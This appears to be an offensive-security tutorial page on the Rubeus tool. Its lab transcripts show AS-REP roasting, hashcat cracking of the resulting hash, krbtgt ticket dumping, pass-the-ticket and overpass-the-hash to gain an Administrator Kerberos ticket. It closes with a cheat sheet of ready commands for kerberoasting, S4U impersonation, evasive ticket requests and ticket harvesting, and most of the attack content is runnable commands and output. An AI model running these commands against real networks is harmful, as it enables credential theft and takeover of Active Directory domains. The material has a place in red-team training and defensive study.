



◆ OFFENSIVE SECURITY SERIES ◆

RUBEUS

Kerberoast, AS-REP, PTT, OPtH, S4U & Golden Ticket

Kerberoast · AS-REP · PTT · OPtH · S4U · Monitor · Harvest

Kerberoast

AS-REP Roast

PTT Inject

OPtH

S4U Chain

Monitor

tgtdeleg

RedTeamGarage (RTG) | Offensive Security Education

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02 — AS-REP ROASTING

Pre-Auth Bypass + Ticket Dump

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Rubeus - AS-REP Roast + Ticket Dump

# AS-REP Roasting - accounts without pre-auth
*Evil-WinRM* PS C:\> execute-assembly /opt/Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
[*] Action: AS-REP roasting
[*] Target Domain : domain.local
[*] Searching path for '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
[*] SamAccountName      : backupuser
[*] DistinguishedName   : CN=backupuser,CN=Users,DC=domain,DC=local
[*] Using domain controller: WIN-DC01.domain.local (10.10.10.100)
[*] Building AS-REQ (No Pre-Auth) for: backupuser
[+] AS-REQ w/o preauth successful!
[*] Hash written to C:\Users\admin\Desktop\asrep.txt

# Crack the AS-REP hash
*Evil-WinRM* PS C:\> hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
$krb5asrep$23$backupuser@DOMAIN.LOCAL:...:Backup2024!
Status.....: Cracked

# Dump all tickets from LSASS
*Evil-WinRM* PS C:\> execute-assembly /opt/Rubeus.exe dump /service:krbtgt
[*] Action: Dump Kerberos Ticket Data (All Users)
[*] Target service : krbtgt
[*] Target luid    : 0x7b6f4
[*] [*] UserName      : Administrator
    ServiceName       : krbtgt/DOMAIN.LOCAL
    Ticket            : doIGXDCCBlygAwIBBaEDAgEWooIF...
  
```

Figure: AS-REP roast finds backupuser, hash cracked to Backup2024!, krbtgt TGT dumped



03 — PTT & OPTH

Ticket Injection & Hash to TGT

```
Rubeus - PTT Inject + OPtH

# Pass-the-Ticket - inject stolen TGT
*Evil-WinRM* PS C:\> execute-assembly /opt/Rubeus.exe ptt /ticket:doIGXDCCBlygAwIBBaEDAgEWooIF...
[*] Action: Import Ticket
[+] Ticket successfully imported!

# Verify ticket injected
*Evil-WinRM* PS C:\> execute-assembly /opt/Rubeus.exe klist
[*] Action: List Kerberos Tickets (Current User)
[*] Current LUID      : 0x7b6f4
    UserName          : Administrator
    Domain             : DOMAIN
    LogonId             : 0x7b6f4
    UserSID             : S-1-5-21-1234567890-1234567890-1234567890-500
    AuthenticationPackage : Kerberos
    LogonType           : Interactive
    LogonTime           : 1/15/2024 9:30:00 AM
    LogonServer          : WIN-DC01
    LogonServerDNSDomain : DOMAIN.LOCAL
    UserPrincipalName    : Administrator@DOMAIN.LOCAL

# Overpass-the-Hash - NTLM hash to Kerberos TGT
*Evil-WinRM* PS C:\> execute-assembly /opt/Rubeus.exe asktgt /user:Administrator /rc4:8846f7eaae8fb117ad06bdd830b7586c /domain
in.local /ptt
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 8846f7eaae8fb117ad06bdd830b7586c
[*] Building AS-REQ (w/ preauth) for: domain.local\Administrator
[+] TGT request successful!
[*] base64(ticket.kirbi): doIGXDCCBlygAwIBBaEDAgEW...
[+] Ticket successfully imported!
```

Figure: TGT injected, klist confirms Administrator ticket active — Kerberos auth works



04 — RUBEUS CHEAT SHEET

Quick Reference

Kerberoast	<code>execute-assembly /opt/Rubeus.exe kerberoast /format:hashcat</code>
AS-REP roast	<code>execute-assembly /opt/Rubeus.exe asreproast /format:hashcat</code>
Dump tickets	<code>execute-assembly /opt/Rubeus.exe dump /service:krbtgt</code>
PTT inject	<code>execute-assembly /opt/Rubeus.exe ptt /ticket:BASE64_TICKET</code>
List tickets	<code>execute-assembly /opt/Rubeus.exe klist</code>
OPtH (RC4)	<code>execute-assembly /opt/Rubeus.exe asktgt /user:USER /rc4:NTHASH /domain:DOMAIN /ptt</code>
OPtH (AES — OPSEC)	<code>execute-assembly /opt/Rubeus.exe asktgt /user:USER /aes256:AES_KEY /domain:DOMAIN /opsec /ptt</code>
S4U chain	<code>execute-assembly /opt/Rubeus.exe s4u /user:svc /rc4:HASH /impersonateuser:Administrator /msdssp:cifs/HOST /ptt</code>
Monitor (unconstrained)	<code>execute-assembly /opt/Rubeus.exe monitor /interval:5 /filteruser:DC01\$</code>
Purge tickets	<code>execute-assembly /opt/Rubeus.exe purge</code>
Crack TGS	<code>hashcat -m 13100 tgs.hash rockyou.txt</code>
Crack AS-REP	<code>hashcat -m 18200 asrep.hash rockyou.txt</code>
tgtdeleg (no admin)	<code>execute-assembly /opt/Rubeus.exe tgtdeleg /nowrap</code>
Harvest TGTs	<code>execute-assembly /opt/Rubeus.exe harvest /interval:30</code>



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